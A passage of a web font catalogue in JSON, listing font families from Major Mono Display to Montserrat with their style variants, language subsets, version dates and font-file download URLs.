"variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-11-22", "files": { "regular": "http://fonts.gstatic.com/s/majormonodisplay/v4/RWmVoLyb5fEqtsfBX9PDZIGr2tFubRhLCn2QIndPww.ttf" } }, { "kind": "webfonts#webfont", "family": "Mako", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mako/v11/H4coBX6Mmc_Z0ST09g478Lo.ttf" } }, { "kind": "webfonts#webfont", "family": "Mali", "category": "handwriting", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QOLlKlRaJdbWgdY.ttf", "200italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8wlVQIfTTkdbJYA.ttf", "300": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QIbmKlRaJdbWgdY.ttf", "300italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8plZQIfTTkdbJYA.ttf", "regular": "http://fonts.gstatic.com/s/mali/v3/N0ba2SRONuN4eCrODlxxOd8.ttf", "italic": "http://fonts.gstatic.com/s/mali/v3/N0bU2SRONuN4SCjECn50Kd_PmA.ttf", "500": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QN7nKlRaJdbWgdY.ttf", "500italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8_ldQIfTTkdbJYA.ttf", "600": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QPLgKlRaJdbWgdY.ttf", "600italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj80lBQIfTTkdbJYA.ttf", "700": "http://fonts.gstatic.com/s/mali/v3/N0bV2SRONuN4QJbhKlRaJdbWgdY.ttf", "700italic": "http://fonts.gstatic.com/s/mali/v3/N0bX2SRONuN4SCj8tlFQIfTTkdbJYA.ttf" } }, { "kind": "webfonts#webfont", "family": "Mallanna", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mallanna/v7/hv-Vlzx-KEQb84YaDGwzEzRwVvJ-.ttf" } }, { "kind": "webfonts#webfont", "family": "Mandali", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mandali/v8/LhWlMVbYOfASNfNUVFk1ZPdcKtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Manjari", "category": "sans-serif", "variants": [ "100", "regular", "700" ], "subsets": [ "malayalam", "latin" ], "version": "v2", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/manjari/v2/k3kSo8UPMOBO2w1UdbroK2vFIaOV8A.ttf", "regular": "http://fonts.gstatic.com/s/manjari/v2/k3kQo8UPMOBO2w1UTd7iL0nAMaM.ttf", "700": "http://fonts.gstatic.com/s/manjari/v2/k3kVo8UPMOBO2w1UdWLNC0HrLaqM6Q4.ttf" } }, { "kind": "webfonts#webfont", "family": "Mansalva", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/mansalva/v1/aWB4m0aacbtDfvq5NJllI47vdyBg.ttf" } }, { "kind": "webfonts#webfont", "family": "Manuale", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v6", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHke7wD1TB_JHHY.ttf", "500": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHWe7wD1TB_JHHY.ttf", "600": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeE6fLwD1TB_JHHY.ttf", "700": "http://fonts.gstatic.com/s/manuale/v6/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeEDfLwD1TB_JHHY.ttf", "italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOFRA3zRdIWHYr8M.ttf", "500italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOGZA3zRdIWHYr8M.ttf", "600italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOIpH3zRdIWHYr8M.ttf", "700italic": "http://fonts.gstatic.com/s/manuale/v6/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOLNH3zRdIWHYr8M.ttf" } }, { "kind": "webfonts#webfont", "family": "Marcellus", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marcellus/v7/wEO_EBrOk8hQLDvIAF8FUfAL3EsHiA.ttf" } }, { "kind": "webfonts#webfont", "family": "Marcellus SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marcellussc/v7/ke8iOgUHP1dg-Rmi6RWjbLEPgdydGKikhA.ttf" } }, { "kind": "webfonts#webfont", "family": "Marck Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marckscript/v10/nwpTtK2oNgBA3Or78gapdwuCzyI-aMPF7Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Margarine", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/margarine/v8/qkBXXvoE6trLT9Y7YLye5JRLkAXbMQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Markazi Text", "category": "serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "arabic", "latin-ext", "latin" ], "version": "v11", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtfSQT4MlBekmJLo.ttf", "500": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtcaQT4MlBekmJLo.ttf", "600": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtSqXT4MlBekmJLo.ttf", "700": "http://fonts.gstatic.com/s/markazitext/v11/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtROXT4MlBekmJLo.ttf" } }, { "kind": "webfonts#webfont", "family": "Marko One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/markoone/v9/9Btq3DFG0cnVM5lw1haaKpUfrHPzUw.ttf" } }, { "kind": "webfonts#webfont", "family": "Marmelad", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marmelad/v9/Qw3eZQdSHj_jK2e-8tFLG-YMC0R8.ttf" } }, { "kind": "webfonts#webfont", "family": "Martel", "category": "serif", "variants": [ "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVqekahRbX9vnDzw.ttf", "300": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVzeoahRbX9vnDzw.ttf", "regular": "http://fonts.gstatic.com/s/martel/v4/PN_xRfK9oXHga0XtYcI-jT3L_w.ttf", "600": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVuewahRbX9vnDzw.ttf", "700": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XV3e0ahRbX9vnDzw.ttf", "800": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XVwe4ahRbX9vnDzw.ttf", "900": "http://fonts.gstatic.com/s/martel/v4/PN_yRfK9oXHga0XV5e8ahRbX9vnDzw.ttf" } }, { "kind": "webfonts#webfont", "family": "Martel Sans", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "800", "900" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hAX5suHFUknqMxQ.ttf", "300": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBz5cuHFUknqMxQ.ttf", "regular": "http://fonts.gstatic.com/s/martelsans/v6/h0GsssGi7VdzDgKjM-4d8ijfze-PPlUu.ttf", "600": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hAH48uHFUknqMxQ.ttf", "700": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBj4suHFUknqMxQ.ttf", "800": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hB_4cuHFUknqMxQ.ttf", "900": "http://fonts.gstatic.com/s/martelsans/v6/h0GxssGi7VdzDgKjM-4d8hBb4MuHFUknqMxQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Marvel", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/marvel/v9/nwpVtKeoNgBV0qaIkV7ED366zg.ttf", "italic": "http://fonts.gstatic.com/s/marvel/v9/nwpXtKeoNgBV0qa4k1TALXuqzhA7.ttf", "700": "http://fonts.gstatic.com/s/marvel/v9/nwpWtKeoNgBV0qawLXHgB1WmxwkiYQ.ttf", "700italic": "http://fonts.gstatic.com/s/marvel/v9/nwpQtKeoNgBV0qa4k2x8Al-i5QwyYdrc.ttf" } }, { "kind": "webfonts#webfont", "family": "Mate", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mate/v8/m8JdjftRd7WZ2z28WoXSaLU.ttf", "italic": "http://fonts.gstatic.com/s/mate/v8/m8JTjftRd7WZ6z-2XqfXeLVdbw.ttf" } }, { "kind": "webfonts#webfont", "family": "Mate SC", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/matesc/v8/-nF8OGQ1-uoVr2wKyiXZ95OkJwA.ttf" } }, { "kind": "webfonts#webfont", "family": "Maven Pro", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v20", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8SX25nCpozp5GvU.ttf", "500": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Rf25nCpozp5GvU.ttf", "600": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8fvx5nCpozp5GvU.ttf", "700": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8cLx5nCpozp5GvU.ttf", "800": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8aXx5nCpozp5GvU.ttf", "900": "http://fonts.gstatic.com/s/mavenpro/v20/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Yzx5nCpozp5GvU.ttf" } }, { "kind": "webfonts#webfont", "family": "McLaren", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mclaren/v7/2EbnL-ZuAXFqZFXISYYf8z2Yt_c.ttf" } }, { "kind": "webfonts#webfont", "family": "Meddon", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meddon/v12/kmK8ZqA2EgDNeHTZhBdB3y_Aow.ttf" } }, { "kind": "webfonts#webfont", "family": "MedievalSharp", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/medievalsharp/v12/EvOJzAlL3oU5AQl2mP5KdgptAq96MwvXLDk.ttf" } }, { "kind": "webfonts#webfont", "family": "Medula One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/medulaone/v9/YA9Wr0qb5kjJM6l2V0yukiEqs7GtlvY.ttf" } }, { "kind": "webfonts#webfont", "family": "Meera Inimai", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "tamil", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meerainimai/v4/845fNMM5EIqOW5MPuvO3ILep_2jDVevnLQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Megrim", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/megrim/v10/46kulbz5WjvLqJZlbWXgd0RY1g.ttf" } }, { "kind": "webfonts#webfont", "family": "Meie Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meiescript/v7/_LOImzDK7erRjhunIspaMjxn5IXg0WDz.ttf" } }, { "kind": "webfonts#webfont", "family": "Merienda", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/merienda/v8/gNMHW3x8Qoy5_mf8uVMCOou6_dvg.ttf", "700": "http://fonts.gstatic.com/s/merienda/v8/gNMAW3x8Qoy5_mf8uWu-Fa-y1sfpPES4.ttf" } }, { "kind": "webfonts#webfont", "family": "Merienda One", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/meriendaone/v10/H4cgBXaMndbflEq6kyZ1ht6YgoyyYzFzFw.ttf" } }, { "kind": "webfonts#webfont", "family": "Merriweather", "category": "serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v21", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l521wRpX837pvjxPA.ttf", "300italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR7lXcf_hP3hPGWH.ttf", "regular": "http://fonts.gstatic.com/s/merriweather/v21/u-440qyriQwlOrhSvowK_l5OeyxNV-bnrw.ttf", "italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4m0qyriQwlOrhSvowK_l5-eSZJdeP3r-Ho.ttf", "700": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52xwNpX837pvjxPA.ttf", "700italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR71Wsf_hP3hPGWH.ttf", "900": "http://fonts.gstatic.com/s/merriweather/v21/u-4n0qyriQwlOrhSvowK_l52_wFpX837pvjxPA.ttf", "900italic": "http://fonts.gstatic.com/s/merriweather/v21/u-4l0qyriQwlOrhSvowK_l5-eR7NWMf_hP3hPGWH.ttf" } }, { "kind": "webfonts#webfont", "family": "Merriweather Sans", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic", "800", "800italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1eYBDD2BdWzIqY.ttf", "300italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXwepzB0hN0yZqYcqw.ttf", "regular": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c99IRs1JiJN1FRAMjTN5zd9vgsFEXySDTL8wtf.ttf", "italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c79IRs1JiJN1FRAMjTN5zd9vgsFHXwQjDp9htf1ZM.ttf", "700": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1OZxDD2BdWzIqY.ttf", "700italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXweozG0hN0yZqYcqw.ttf", "800": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c49IRs1JiJN1FRAMjTN5zd9vgsFH1SZBDD2BdWzIqY.ttf", "800italic": "http://fonts.gstatic.com/s/merriweathersans/v11/2-c29IRs1JiJN1FRAMjTN5zd9vgsFHXwepDF0hN0yZqYcqw.ttf" } }, { "kind": "webfonts#webfont", "family": "Metal", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metal/v12/lW-wwjUJIXTo7i3nnoQAUdN2.ttf" } }, { "kind": "webfonts#webfont", "family": "Metal Mania", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metalmania/v9/RWmMoKWb4e8kqMfBUdPFJeXCg6UKDXlq.ttf" } }, { "kind": "webfonts#webfont", "family": "Metamorphous", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metamorphous/v10/Wnz8HA03aAXcC39ZEX5y1330PCCthTsmaQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Metrophobic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/metrophobic/v13/sJoA3LZUhMSAPV_u0qwiAT-J737FPEEL.ttf" } }, { "kind": "webfonts#webfont", "family": "Michroma", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/michroma/v10/PN_zRfy9qWD8fEagAMg6rzjb_-Da.ttf" } }, { "kind": "webfonts#webfont", "family": "Milonga", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/milonga/v7/SZc53FHnIaK9W5kffz3GkUrS8DI.ttf" } }, { "kind": "webfonts#webfont", "family": "Miltonian", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/miltonian/v13/zOL-4pbPn6Ne9JqTg9mr6e5As-FeiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Miltonian Tattoo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v15", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/miltoniantattoo/v15/EvOUzBRL0o0kCxF-lcMCQxlpVsA_FwP8MDBku-s.ttf" } }, { "kind": "webfonts#webfont", "family": "Mina", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "bengali", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mina/v3/-nFzOGc18vARrz9j7i3y65o.ttf", "700": "http://fonts.gstatic.com/s/mina/v3/-nF8OGc18vARl4NMyiXZ95OkJwA.ttf" } }, { "kind": "webfonts#webfont", "family": "Miniver", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/miniver/v8/eLGcP-PxIg-5H0vC770Cy8r8fWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Miriam Libre", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "hebrew", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/miriamlibre/v6/DdTh798HsHwubBAqfkcBTL_vYJn_Teun9g.ttf", "700": "http://fonts.gstatic.com/s/miriamlibre/v6/DdT-798HsHwubBAqfkcBTL_X3LbbRcC7_-Z7Hg.ttf" } }, { "kind": "webfonts#webfont", "family": "Mirza", "category": "display", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "arabic", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mirza/v7/co3ImWlikiN5EurdKMewsrvI.ttf", "500": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtIpAeO4mafBomDi.ttf", "600": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtIFBuO4mafBomDi.ttf", "700": "http://fonts.gstatic.com/s/mirza/v7/co3FmWlikiN5EtJhB-O4mafBomDi.ttf" } }, { "kind": "webfonts#webfont", "family": "Miss Fajardose", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/missfajardose/v9/E21-_dn5gvrawDdPFVl-N0Ajb8qvWPaJq4no.ttf" } }, { "kind": "webfonts#webfont", "family": "Mitr", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8fMZFJDUc1NECPY.ttf", "300": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8ZcaFJDUc1NECPY.ttf", "regular": "http://fonts.gstatic.com/s/mitr/v5/pxiLypw5ucZFyTsyMJj_b1o.ttf", "500": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8c8bFJDUc1NECPY.ttf", "600": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8eMcFJDUc1NECPY.ttf", "700": "http://fonts.gstatic.com/s/mitr/v5/pxiEypw5ucZF8YcdFJDUc1NECPY.ttf" } }, { "kind": "webfonts#webfont", "family": "Modak", "category": "display", "variants": [ "regular" ], "subsets": [ "devanagari", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/modak/v5/EJRYQgs1XtIEsnMH8BVZ76KU.ttf" } }, { "kind": "webfonts#webfont", "family": "Modern Antiqua", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/modernantiqua/v9/NGStv5TIAUg6Iq_RLNo_2dp1sI1Ea2u0c3Gi.ttf" } }, { "kind": "webfonts#webfont", "family": "Mogra", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/mogra/v6/f0X40eSs8c95TBo4DvLmxtnG.ttf" } }, { "kind": "webfonts#webfont", "family": "Molengo", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/molengo/v10/I_uuMpWeuBzZNBtQbbRQkiCvs5Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Molle", "category": "handwriting", "variants": [ "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "italic": "http://fonts.gstatic.com/s/molle/v8/E21n_dL5hOXFhWEsXzgmVydREus.ttf" } }, { "kind": "webfonts#webfont", "family": "Monda", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/monda/v9/TK3tWkYFABsmjvpmNBsLvPdG.ttf", "700": "http://fonts.gstatic.com/s/monda/v9/TK3gWkYFABsmjsLaGz8Dl-tPKo2t.ttf" } }, { "kind": "webfonts#webfont", "family": "Monofett", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/monofett/v9/mFTyWbofw6zc9NtnW43SuRwr0VJ7.ttf" } }, { "kind": "webfonts#webfont", "family": "Monoton", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/monoton/v9/5h1aiZUrOngCibe4fkbBQ2S7FU8.ttf" } }, { "kind": "webfonts#webfont", "family": "Monsieur La Doulaise", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/monsieurladoulaise/v8/_Xmz-GY4rjmCbQfc-aPRaa4pqV340p7EZl5ewkEU4HTy.ttf" } }, { "kind": "webfonts#webfont", "family": "Montaga", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/montaga/v7/H4cnBX2Ml8rCkEO_0gYQ7LO5mqc.ttf" } }, { "kind": "webfonts#webfont", "family": "Montez", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/montez/v10/845ZNMk5GoGIX8lm1LDeSd-R_g.ttf" } }, { "kind": "webfonts#webfont", "family": "Montserrat", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-23", "files": { "100": "http://fonts.gstatic.com/s/montserrat/v14/JTUQjIg1_i6t8kCHKm45_QphziTn89dtpQ.ttf", "100italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUOjIg1_i6t8kCHKm459WxZqi7j0dJ9pTOi.ttf", "200": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_aZA7g7J_950vCo.ttf", "200italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZBg_D-_xxrCq7qg.ttf", "300": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_cJD7g7J_950vCo.ttf", "300italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZYgzD-_xxrCq7qg.ttf", "regular": "http://fonts.gstatic.com/s/montserrat/v14/JTUSjIg1_i6t8kCHKm45xW5rygbi49c.ttf", "italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUQjIg1_i6t8kCHKm459WxhziTn89dtpQ.ttf", "500": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_ZpC7g7J_950vCo.ttf", "500italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZOg3D-_xxrCq7qg.ttf", "600": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_bZF7g7J_950vCo.ttf", "600italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZFgrD-_xxrCq7qg.ttf", "700": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_dJE7g7J_950vCo.ttf", "700italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZcgvD-_xxrCq7qg.ttf", "800": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_c5H7g7J_950vCo.ttf", "800italic": "http://fonts.gstatic.com/s/montserrat/v14/JTUPjIg1_i6t8kCHKm459WxZbgjD-_xxrCq7qg.ttf", "900": "http://fonts.gstatic.com/s/montserrat/v14/JTURjIg1_i6t8kCHKm45_epG7g7J_950vCo.ttf", "900italic": 